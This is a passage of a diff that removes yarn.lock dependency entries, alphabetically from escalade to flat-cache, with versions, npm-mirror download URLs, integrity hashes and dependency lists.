-  resolved "https://registry.npm.taobao.org/escalade/download/escalade-3.1.1.tgz?cache=0&sync_timestamp=1602567261690&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescalade%2Fdownload%2Fescalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40"
-  integrity sha1-2M/ccACWXFoBdLSoLqpcBVJ0LkA=
-
-escape-html@~1.0.3:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/escape-html/download/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
-  integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
-
-escape-string-regexp@2.0.0, escape-string-regexp@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-2.0.0.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344"
-  integrity sha1-owME6Z2qMuI7L9IPUbq9B8/8o0Q=
-
-escape-string-regexp@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-1.0.5.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
-  integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
-
-escape-string-regexp@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-4.0.0.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
-  integrity sha1-FLqDpdNz49MR5a/KKc9b+tllvzQ=
-
-escodegen@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/escodegen/download/escodegen-2.0.0.tgz#5e32b12833e8aa8fa35e1bf0befa89380484c7dd"
-  integrity sha1-XjKxKDPoqo+jXhvwvvqJOASEx90=
-  dependencies:
-    esprima "^4.0.1"
-    estraverse "^5.2.0"
-    esutils "^2.0.2"
-    optionator "^0.8.1"
-  optionalDependencies:
-    source-map "~0.6.1"
-
-eslint-config-react-app@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/eslint-config-react-app/download/eslint-config-react-app-6.0.0.tgz#ccff9fc8e36b322902844cbd79197982be355a0e"
-  integrity sha1-zP+fyONrMikChEy9eRl5gr41Wg4=
-  dependencies:
-    confusing-browser-globals "^1.0.10"
-
-eslint-import-resolver-node@^0.3.4:
-  version "0.3.4"
-  resolved "https://registry.npm.taobao.org/eslint-import-resolver-node/download/eslint-import-resolver-node-0.3.4.tgz#85ffa81942c25012d8231096ddf679c03042c717"
-  integrity sha1-hf+oGULCUBLYIxCW3fZ5wDBCxxc=
-  dependencies:
-    debug "^2.6.9"
-    resolve "^1.13.1"
-
-eslint-module-utils@^2.6.1:
-  version "2.6.1"
-  resolved "https://registry.nlark.com/eslint-module-utils/download/eslint-module-utils-2.6.1.tgz#b51be1e473dd0de1c5ea638e22429c2490ea8233"
-  integrity sha1-tRvh5HPdDeHF6mOOIkKcJJDqgjM=
-  dependencies:
-    debug "^3.2.7"
-    pkg-dir "^2.0.0"
-
-eslint-plugin-flowtype@^5.2.0:
-  version "5.7.2"
-  resolved "https://registry.nlark.com/eslint-plugin-flowtype/download/eslint-plugin-flowtype-5.7.2.tgz#482a42fe5d15ee614652ed256d37543d584d7bc0"
-  integrity sha1-SCpC/l0V7mFGUu0lbTdUPVhNe8A=
-  dependencies:
-    lodash "^4.17.15"
-    string-natural-compare "^3.0.1"
-
-eslint-plugin-import@^2.22.1:
-  version "2.23.4"
-  resolved "https://registry.nlark.com/eslint-plugin-import/download/eslint-plugin-import-2.23.4.tgz#8dceb1ed6b73e46e50ec9a5bb2411b645e7d3d97"
-  integrity sha1-jc6x7Wtz5G5Q7JpbskEbZF59PZc=
-  dependencies:
-    array-includes "^3.1.3"
-    array.prototype.flat "^1.2.4"
-    debug "^2.6.9"
-    doctrine "^2.1.0"
-    eslint-import-resolver-node "^0.3.4"
-    eslint-module-utils "^2.6.1"
-    find-up "^2.0.0"
-    has "^1.0.3"
-    is-core-module "^2.4.0"
-    minimatch "^3.0.4"
-    object.values "^1.1.3"
-    pkg-up "^2.0.0"
-    read-pkg-up "^3.0.0"
-    resolve "^1.20.0"
-    tsconfig-paths "^3.9.0"
-
-eslint-plugin-jest@^24.1.0:
-  version "24.3.6"
-  resolved "https://registry.nlark.com/eslint-plugin-jest/download/eslint-plugin-jest-24.3.6.tgz?cache=0&sync_timestamp=1619396609589&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-plugin-jest%2Fdownload%2Feslint-plugin-jest-24.3.6.tgz#5f0ca019183c3188c5ad3af8e80b41de6c8e9173"
-  integrity sha1-XwygGRg8MYjFrTr46AtB3myOkXM=
-  dependencies:
-    "@typescript-eslint/experimental-utils" "^4.0.1"
-
-eslint-plugin-jsx-a11y@^6.3.1:
-  version "6.4.1"
-  resolved "https://registry.npm.taobao.org/eslint-plugin-jsx-a11y/download/eslint-plugin-jsx-a11y-6.4.1.tgz#a2d84caa49756942f42f1ffab9002436391718fd"
-  integrity sha1-othMqkl1aUL0Lx/6uQAkNjkXGP0=
-  dependencies:
-    "@babel/runtime" "^7.11.2"
-    aria-query "^4.2.2"
-    array-includes "^3.1.1"
-    ast-types-flow "^0.0.7"
-    axe-core "^4.0.2"
-    axobject-query "^2.2.0"
-    damerau-levenshtein "^1.0.6"
-    emoji-regex "^9.0.0"
-    has "^1.0.3"
-    jsx-ast-utils "^3.1.0"
-    language-tags "^1.0.5"
-
-eslint-plugin-react-hooks@^4.2.0:
-  version "4.2.0"
-  resolved "https://registry.nlark.com/eslint-plugin-react-hooks/download/eslint-plugin-react-hooks-4.2.0.tgz?cache=0&sync_timestamp=1622835042439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-plugin-react-hooks%2Fdownload%2Feslint-plugin-react-hooks-4.2.0.tgz#8c229c268d468956334c943bb45fc860280f5556"
-  integrity sha1-jCKcJo1GiVYzTJQ7tF/IYCgPVVY=
-
-eslint-plugin-react@^7.21.5:
-  version "7.24.0"
-  resolved "https://registry.nlark.com/eslint-plugin-react/download/eslint-plugin-react-7.24.0.tgz#eadedfa351a6f36b490aa17f4fa9b14e842b9eb4"
-  integrity sha1-6t7fo1Gm82tJCqF/T6mxToQrnrQ=
-  dependencies:
-    array-includes "^3.1.3"
-    array.prototype.flatmap "^1.2.4"
-    doctrine "^2.1.0"
-    has "^1.0.3"
-    jsx-ast-utils "^2.4.1 || ^3.0.0"
-    minimatch "^3.0.4"
-    object.entries "^1.1.4"
-    object.fromentries "^2.0.4"
-    object.values "^1.1.4"
-    prop-types "^15.7.2"
-    resolve "^2.0.0-next.3"
-    string.prototype.matchall "^4.0.5"
-
-eslint-plugin-testing-library@^3.9.2:
-  version "3.10.2"
-  resolved "https://registry.nlark.com/eslint-plugin-testing-library/download/eslint-plugin-testing-library-3.10.2.tgz#609ec2b0369da7cf2e6d9edff5da153cc31d87bd"
-  integrity sha1-YJ7CsDadp88ubZ7f9doVPMMdh70=
-  dependencies:
-    "@typescript-eslint/experimental-utils" "^3.10.1"
-
-eslint-scope@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.npm.taobao.org/eslint-scope/download/eslint-scope-4.0.3.tgz#ca03833310f6889a3264781aa82e63eb9cfe7848"
-  integrity sha1-ygODMxD2iJoyZHgaqC5j65z+eEg=
-  dependencies:
-    esrecurse "^4.1.0"
-    estraverse "^4.1.1"
-
-eslint-scope@^5.0.0, eslint-scope@^5.1.1:
-  version "5.1.1"
-  resolved "https://registry.npm.taobao.org/eslint-scope/download/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c"
-  integrity sha1-54blmmbLkrP2wfsNUIqrF0hI9Iw=
-  dependencies:
-    esrecurse "^4.3.0"
-    estraverse "^4.1.1"
-
-eslint-utils@^2.0.0, eslint-utils@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/eslint-utils/download/eslint-utils-2.1.0.tgz?cache=0&sync_timestamp=1620975524854&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-utils%2Fdownload%2Feslint-utils-2.1.0.tgz#d2de5e03424e707dc10c74068ddedae708741b27"
-  integrity sha1-0t5eA0JOcH3BDHQGjd7a5wh0Gyc=
-  dependencies:
-    eslint-visitor-keys "^1.1.0"
-
-eslint-utils@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/eslint-utils/download/eslint-utils-3.0.0.tgz?cache=0&sync_timestamp=1620975524854&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-utils%2Fdownload%2Feslint-utils-3.0.0.tgz#8aebaface7345bb33559db0a1f13a1d2d48c3672"
-  integrity sha1-iuuvrOc0W7M1WdsKHxOh0tSMNnI=
-  dependencies:
-    eslint-visitor-keys "^2.0.0"
-
-eslint-visitor-keys@^1.0.0, eslint-visitor-keys@^1.1.0, eslint-visitor-keys@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.nlark.com/eslint-visitor-keys/download/eslint-visitor-keys-1.3.0.tgz#30ebd1ef7c2fdff01c3a4f151044af25fab0523e"
-  integrity sha1-MOvR73wv3/AcOk8VEESvJfqwUj4=
-
-eslint-visitor-keys@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/eslint-visitor-keys/download/eslint-visitor-keys-2.1.0.tgz#f65328259305927392c938ed44eb0a5c9b2bd303"
-  integrity sha1-9lMoJZMFknOSyTjtROsKXJsr0wM=
-
-eslint-webpack-plugin@^2.5.2:
-  version "2.5.4"
-  resolved "https://registry.nlark.com/eslint-webpack-plugin/download/eslint-webpack-plugin-2.5.4.tgz#473b84932f1a8e2c2b8e66a402d0497bf440b986"
-  integrity sha1-RzuEky8ajiwrjmakAtBJe/RAuYY=
-  dependencies:
-    "@types/eslint" "^7.2.6"
-    arrify "^2.0.1"
-    jest-worker "^26.6.2"
-    micromatch "^4.0.2"
-    normalize-path "^3.0.0"
-    schema-utils "^3.0.0"
-
-eslint@^7.11.0:
-  version "7.28.0"
-  resolved "https://registry.nlark.com/eslint/download/eslint-7.28.0.tgz?cache=0&sync_timestamp=1622846586286&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint%2Fdownload%2Feslint-7.28.0.tgz#435aa17a0b82c13bb2be9d51408b617e49c1e820"
-  integrity sha1-Q1qheguCwTuyvp1RQIthfknB6CA=
-  dependencies:
-    "@babel/code-frame" "7.12.11"
-    "@eslint/eslintrc" "^0.4.2"
-    ajv "^6.10.0"
-    chalk "^4.0.0"
-    cross-spawn "^7.0.2"
-    debug "^4.0.1"
-    doctrine "^3.0.0"
-    enquirer "^2.3.5"
-    escape-string-regexp "^4.0.0"
-    eslint-scope "^5.1.1"
-    eslint-utils "^2.1.0"
-    eslint-visitor-keys "^2.0.0"
-    espree "^7.3.1"
-    esquery "^1.4.0"
-    esutils "^2.0.2"
-    fast-deep-equal "^3.1.3"
-    file-entry-cache "^6.0.1"
-    functional-red-black-tree "^1.0.1"
-    glob-parent "^5.1.2"
-    globals "^13.6.0"
-    ignore "^4.0.6"
-    import-fresh "^3.0.0"
-    imurmurhash "^0.1.4"
-    is-glob "^4.0.0"
-    js-yaml "^3.13.1"
-    json-stable-stringify-without-jsonify "^1.0.1"
-    levn "^0.4.1"
-    lodash.merge "^4.6.2"
-    minimatch "^3.0.4"
-    natural-compare "^1.4.0"
-    optionator "^0.9.1"
-    progress "^2.0.0"
-    regexpp "^3.1.0"
-    semver "^7.2.1"
-    strip-ansi "^6.0.0"
-    strip-json-comments "^3.1.0"
-    table "^6.0.9"
-    text-table "^0.2.0"
-    v8-compile-cache "^2.0.3"
-
-espree@^7.3.0, espree@^7.3.1:
-  version "7.3.1"
-  resolved "https://registry.npm.taobao.org/espree/download/espree-7.3.1.tgz?cache=0&sync_timestamp=1607143957865&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fespree%2Fdownload%2Fespree-7.3.1.tgz#f2df330b752c6f55019f8bd89b7660039c1bbbb6"
-  integrity sha1-8t8zC3Usb1UBn4vYm3ZgA5wbu7Y=
-  dependencies:
-    acorn "^7.4.0"
-    acorn-jsx "^5.3.1"
-    eslint-visitor-keys "^1.3.0"
-
-esprima@^4.0.0, esprima@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/esprima/download/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
-  integrity sha1-E7BM2z5sXRnfkatph6hpVhmwqnE=
-
-esquery@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/esquery/download/esquery-1.4.0.tgz#2148ffc38b82e8c7057dfed48425b3e61f0f24a5"
-  integrity sha1-IUj/w4uC6McFff7UhCWz5h8PJKU=
-  dependencies:
-    estraverse "^5.1.0"
-
-esrecurse@^4.1.0, esrecurse@^4.3.0:
-  version "4.3.0"
-  resolved "https://registry.npm.taobao.org/esrecurse/download/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
-  integrity sha1-eteWTWeauyi+5yzsY3WLHF0smSE=
-  dependencies:
-    estraverse "^5.2.0"
-
-estraverse@^4.1.1:
-  version "4.3.0"
-  resolved "https://registry.npm.taobao.org/estraverse/download/estraverse-4.3.0.tgz#398ad3f3c5a24948be7725e83d11a7de28cdbd1d"
-  integrity sha1-OYrT88WiSUi+dyXoPRGn3ijNvR0=
-
-estraverse@^5.1.0, estraverse@^5.2.0:
-  version "5.2.0"
-  resolved "https://registry.npm.taobao.org/estraverse/download/estraverse-5.2.0.tgz#307df42547e6cc7324d3cf03c155d5cdb8c53880"
-  integrity sha1-MH30JUfmzHMk088DwVXVzbjFOIA=
-
-estree-walker@^0.6.1:
-  version "0.6.1"
-  resolved "https://registry.npm.taobao.org/estree-walker/download/estree-walker-0.6.1.tgz#53049143f40c6eb918b23671d1fe3219f3a1b362"
-  integrity sha1-UwSRQ/QMbrkYsjZx0f4yGfOhs2I=
-
-estree-walker@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/estree-walker/download/estree-walker-1.0.1.tgz#31bc5d612c96b704106b477e6dd5d8aa138cb700"
-  integrity sha1-MbxdYSyWtwQQa0d+bdXYqhOMtwA=
-
-esutils@^2.0.2:
-  version "2.0.3"
-  resolved "https://registry.npm.taobao.org/esutils/download/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
-  integrity sha1-dNLrTeC42hKTcRkQ1Qd1ubcQ72Q=
-
-etag@~1.8.1:
-  version "1.8.1"
-  resolved "https://registry.npm.taobao.org/etag/download/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
-  integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
-
-eventemitter3@^4.0.0:
-  version "4.0.7"
-  resolved "https://registry.npm.taobao.org/eventemitter3/download/eventemitter3-4.0.7.tgz#2de9b68f6528d5644ef5c59526a1b4a07306169f"
-  integrity sha1-Lem2j2Uo1WRO9cWVJqG0oHMGFp8=
-
-events@^3.0.0:
-  version "3.3.0"
-  resolved "https://registry.npm.taobao.org/events/download/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
-  integrity sha1-Mala0Kkk4tLEGagTrrLE6HjqdAA=
-
-eventsource@^1.0.7:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/eventsource/download/eventsource-1.1.0.tgz?cache=0&sync_timestamp=1616041748498&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Feventsource%2Fdownload%2Feventsource-1.1.0.tgz#00e8ca7c92109e94b0ddf32dac677d841028cfaf"
-  integrity sha1-AOjKfJIQnpSw3fMtrGd9hBAoz68=
-  dependencies:
-    original "^1.0.0"
-
-evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/evp_bytestokey/download/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02"
-  integrity sha1-f8vbGY3HGVlDLv4ThCaE4FJaywI=
-  dependencies:
-    md5.js "^1.3.4"
-    safe-buffer "^5.1.1"
-
-exec-sh@^0.3.2:
-  version "0.3.6"
-  resolved "https://registry.npm.taobao.org/exec-sh/download/exec-sh-0.3.6.tgz?cache=0&sync_timestamp=1616789108646&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fexec-sh%2Fdownload%2Fexec-sh-0.3.6.tgz#ff264f9e325519a60cb5e273692943483cca63bc"
-  integrity sha1-/yZPnjJVGaYMteJzaSlDSDzKY7w=
-
-execa@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/execa/download/execa-1.0.0.tgz#c6236a5bb4df6d6f15e88e7f017798216749ddd8"
-  integrity sha1-xiNqW7TfbW8V6I5/AXeYIWdJ3dg=
-  dependencies:
-    cross-spawn "^6.0.0"
-    get-stream "^4.0.0"
-    is-stream "^1.1.0"
-    npm-run-path "^2.0.0"
-    p-finally "^1.0.0"
-    signal-exit "^3.0.0"
-    strip-eof "^1.0.0"
-
-execa@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.nlark.com/execa/download/execa-4.1.0.tgz#4e5491ad1572f2f17a77d388c6c857135b22847a"
-  integrity sha1-TlSRrRVy8vF6d9OIxshXE1sihHo=
-  dependencies:
-    cross-spawn "^7.0.0"
-    get-stream "^5.0.0"
-    human-signals "^1.1.1"
-    is-stream "^2.0.0"
-    merge-stream "^2.0.0"
-    npm-run-path "^4.0.0"
-    onetime "^5.1.0"
-    signal-exit "^3.0.2"
-    strip-final-newline "^2.0.0"
-
-exit@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.npm.taobao.org/exit/download/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c"
-  integrity sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=
-
-expand-brackets@^2.1.4:
-  version "2.1.4"
-  resolved "https://registry.npm.taobao.org/expand-brackets/download/expand-brackets-2.1.4.tgz#b77735e315ce30f6b6eff0f83b04151a22449622"
-  integrity sha1-t3c14xXOMPa27/D4OwQVGiJEliI=
-  dependencies:
-    debug "^2.3.3"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    posix-character-classes "^0.1.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-expect@^26.6.0, expect@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/expect/download/expect-26.6.2.tgz?cache=0&sync_timestamp=1622290216947&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fexpect%2Fdownload%2Fexpect-26.6.2.tgz#c6b996bf26bf3fe18b67b2d0f51fc981ba934417"
-  integrity sha1-xrmWvya/P+GLZ7LQ9R/JgbqTRBc=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    ansi-styles "^4.0.0"
-    jest-get-type "^26.3.0"
-    jest-matcher-utils "^26.6.2"
-    jest-message-util "^26.6.2"
-    jest-regex-util "^26.0.0"
-
-express@^4.17.1:
-  version "4.17.1"
-  resolved "https://registry.npm.taobao.org/express/download/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
-  integrity sha1-RJH8OGBc9R+GKdOcK10Cb5ikwTQ=
-  dependencies:
-    accepts "~1.3.7"
-    array-flatten "1.1.1"
-    body-parser "1.19.0"
-    content-disposition "0.5.3"
-    content-type "~1.0.4"
-    cookie "0.4.0"
-    cookie-signature "1.0.6"
-    debug "2.6.9"
-    depd "~1.1.2"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    finalhandler "~1.1.2"
-    fresh "0.5.2"
-    merge-descriptors "1.0.1"
-    methods "~1.1.2"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    path-to-regexp "0.1.7"
-    proxy-addr "~2.0.5"
-    qs "6.7.0"
-    range-parser "~1.2.1"
-    safe-buffer "5.1.2"
-    send "0.17.1"
-    serve-static "1.14.1"
-    setprototypeof "1.1.1"
-    statuses "~1.5.0"
-    type-is "~1.6.18"
-    utils-merge "1.0.1"
-    vary "~1.1.2"
-
-ext@^1.1.2:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/ext/download/ext-1.4.0.tgz#89ae7a07158f79d35517882904324077e4379244"
-  integrity sha1-ia56BxWPedNVF4gpBDJAd+Q3kkQ=
-  dependencies:
-    type "^2.0.0"
-
-extend-shallow@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f"
-  integrity sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=
-  dependencies:
-    is-extendable "^0.1.0"
-
-extend-shallow@^3.0.0, extend-shallow@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-3.0.2.tgz#26a71aaf073b39fb2127172746131c2704028db8"
-  integrity sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=
-  dependencies:
-    assign-symbols "^1.0.0"
-    is-extendable "^1.0.1"
-
-extglob@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/extglob/download/extglob-2.0.4.tgz#ad00fe4dc612a9232e8718711dc5cb5ab0285543"
-  integrity sha1-rQD+TcYSqSMuhxhxHcXLWrAoVUM=
-  dependencies:
-    array-unique "^0.3.2"
-    define-property "^1.0.0"
-    expand-brackets "^2.1.4"
-    extend-shallow "^2.0.1"
-    fragment-cache "^0.2.1"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
-  version "3.1.3"
-  resolved "https://registry.npm.taobao.org/fast-deep-equal/download/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
-  integrity sha1-On1WtVnWy8PrUSMlJE5hmmXGxSU=
-
-fast-glob@^3.1.1:
-  version "3.2.5"
-  resolved "https://registry.nlark.com/fast-glob/download/fast-glob-3.2.5.tgz?cache=0&sync_timestamp=1618847045365&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ffast-glob%2Fdownload%2Ffast-glob-3.2.5.tgz#7939af2a656de79a4f1901903ee8adcaa7cb9661"
-  integrity sha1-eTmvKmVt55pPGQGQPuityqfLlmE=
-  dependencies:
-    "@nodelib/fs.stat" "^2.0.2"
-    "@nodelib/fs.walk" "^1.2.3"
-    glob-parent "^5.1.0"
-    merge2 "^1.3.0"
-    micromatch "^4.0.2"
-    picomatch "^2.2.1"
-
-fast-json-stable-stringify@^2.0.0, fast-json-stable-stringify@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/fast-json-stable-stringify/download/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
-  integrity sha1-h0v2nG9ATCtdmcSBNBOZ/VWJJjM=
-
-fast-levenshtein@^2.0.6, fast-levenshtein@~2.0.6:
-  version "2.0.6"
-  resolved "https://registry.nlark.com/fast-levenshtein/download/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
-  integrity sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=
-
-fastq@^1.6.0:
-  version "1.11.0"
-  resolved "https://registry.nlark.com/fastq/download/fastq-1.11.0.tgz#bb9fb955a07130a918eb63c1f5161cc32a5d0858"
-  integrity sha1-u5+5VaBxMKkY62PB9RYcwypdCFg=
-  dependencies:
-    reusify "^1.0.4"
-
-faye-websocket@^0.11.3:
-  version "0.11.4"
-  resolved "https://registry.nlark.com/faye-websocket/download/faye-websocket-0.11.4.tgz#7f0d9275cfdd86a1c963dc8b65fcc451edcbb1da"
-  integrity sha1-fw2Sdc/dhqHJY9yLZfzEUe3Lsdo=
-  dependencies:
-    websocket-driver ">=0.5.1"
-
-fb-watchman@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/fb-watchman/download/fb-watchman-2.0.1.tgz#fc84fb39d2709cf3ff6d743706157bb5708a8a85"
-  integrity sha1-/IT7OdJwnPP/bXQ3BhV7tXCKioU=
-  dependencies:
-    bser "2.1.1"
-
-figgy-pudding@^3.5.1:
-  version "3.5.2"
-  resolved "https://registry.npm.taobao.org/figgy-pudding/download/figgy-pudding-3.5.2.tgz#b4eee8148abb01dcf1d1ac34367d59e12fa61d6e"
-  integrity sha1-tO7oFIq7Adzx0aw0Nn1Z4S+mHW4=
-
-file-entry-cache@^6.0.1:
-  version "6.0.1"
-  resolved "https://registry.npm.taobao.org/file-entry-cache/download/file-entry-cache-6.0.1.tgz?cache=0&sync_timestamp=1613794272556&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffile-entry-cache%2Fdownload%2Ffile-entry-cache-6.0.1.tgz#211b2dd9659cb0394b073e7323ac3c933d522027"
-  integrity sha1-IRst2WWcsDlLBz5zI6w8kz1SICc=
-  dependencies:
-    flat-cache "^3.0.4"
-
-file-loader@6.1.1:
-  version "6.1.1"
-  resolved "https://registry.npm.taobao.org/file-loader/download/file-loader-6.1.1.tgz#a6f29dfb3f5933a1c350b2dbaa20ac5be0539baa"
-  integrity sha1-pvKd+z9ZM6HDULLbqiCsW+BTm6o=
-  dependencies:
-    loader-utils "^2.0.0"
-    schema-utils "^3.0.0"
-
-file-uri-to-path@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/file-uri-to-path/download/file-uri-to-path-1.0.0.tgz#553a7b8446ff6f684359c445f1e37a05dacc33dd"
-  integrity sha1-VTp7hEb/b2hDWcRF8eN6BdrMM90=
-
-filesize@6.1.0:
-  version "6.1.0"
-  resolved "https://registry.nlark.com/filesize/download/filesize-6.1.0.tgz#e81bdaa780e2451d714d71c0d7a4f3238d37ad00"
-  integrity sha1-6Bvap4DiRR1xTXHA16TzI403rQA=
-
-fill-range@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz#d544811d428f98eb06a63dc402d2403c328c38f7"
-  integrity sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=
-  dependencies:
-    extend-shallow "^2.0.1"
-    is-number "^3.0.0"
-    repeat-string "^1.6.1"
-    to-regex-range "^2.1.0"
-
-fill-range@^7.0.1:
-  version "7.0.1"
-  resolved "https://registry.npm.taobao.org/fill-range/download/fill-range-7.0.1.tgz#1919a6a7c75fe38b2c7c77e5198535da9acdda40"
-  integrity sha1-GRmmp8df44ssfHflGYU12prN2kA=
-  dependencies:
-    to-regex-range "^5.0.1"
-
-finalhandler@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/finalhandler/download/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d"
-  integrity sha1-t+fQAP/RGTjQ/bBTUG9uur6fWH0=
-  dependencies:
-    debug "2.6.9"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    statuses "~1.5.0"
-    unpipe "~1.0.0"
-
-find-cache-dir@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/find-cache-dir/download/find-cache-dir-2.1.0.tgz#8d0f94cd13fe43c6c7c261a0d86115ca918c05f7"
-  integrity sha1-jQ+UzRP+Q8bHwmGg2GEVypGMBfc=
-  dependencies:
-    commondir "^1.0.1"
-    make-dir "^2.0.0"
-    pkg-dir "^3.0.0"
-
-find-cache-dir@^3.3.1:
-  version "3.3.1"
-  resolved "https://registry.npm.taobao.org/find-cache-dir/download/find-cache-dir-3.3.1.tgz#89b33fad4a4670daa94f855f7fbe31d6d84fe880"
-  integrity sha1-ibM/rUpGcNqpT4Vff74x1thP6IA=
-  dependencies:
-    commondir "^1.0.1"
-    make-dir "^3.0.2"
-    pkg-dir "^4.1.0"
-
-find-up@4.1.0, find-up@^4.0.0, find-up@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.npm.taobao.org/find-up/download/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19"
-  integrity sha1-l6/n1s3AvFkoWEt8jXsW6KmqXRk=
-  dependencies:
-    locate-path "^5.0.0"
-    path-exists "^4.0.0"
-
-find-up@^2.0.0, find-up@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/find-up/download/find-up-2.1.0.tgz#45d1b7e506c717ddd482775a2b77920a3c0c57a7"
-  integrity sha1-RdG35QbHF93UgndaK3eSCjwMV6c=
-  dependencies:
-    locate-path "^2.0.0"
-
-find-up@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/find-up/download/find-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73"
-  integrity sha1-SRafHXmTQwZG2mHsxa41XCHJe3M=
-  dependencies:
-    locate-path "^3.0.0"
-
-flat-cache@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/flat-cache/download/flat-cache-3.0.4.tgz#61b0338302b2fe9f957dcc32fc2a87f1c3048b11"
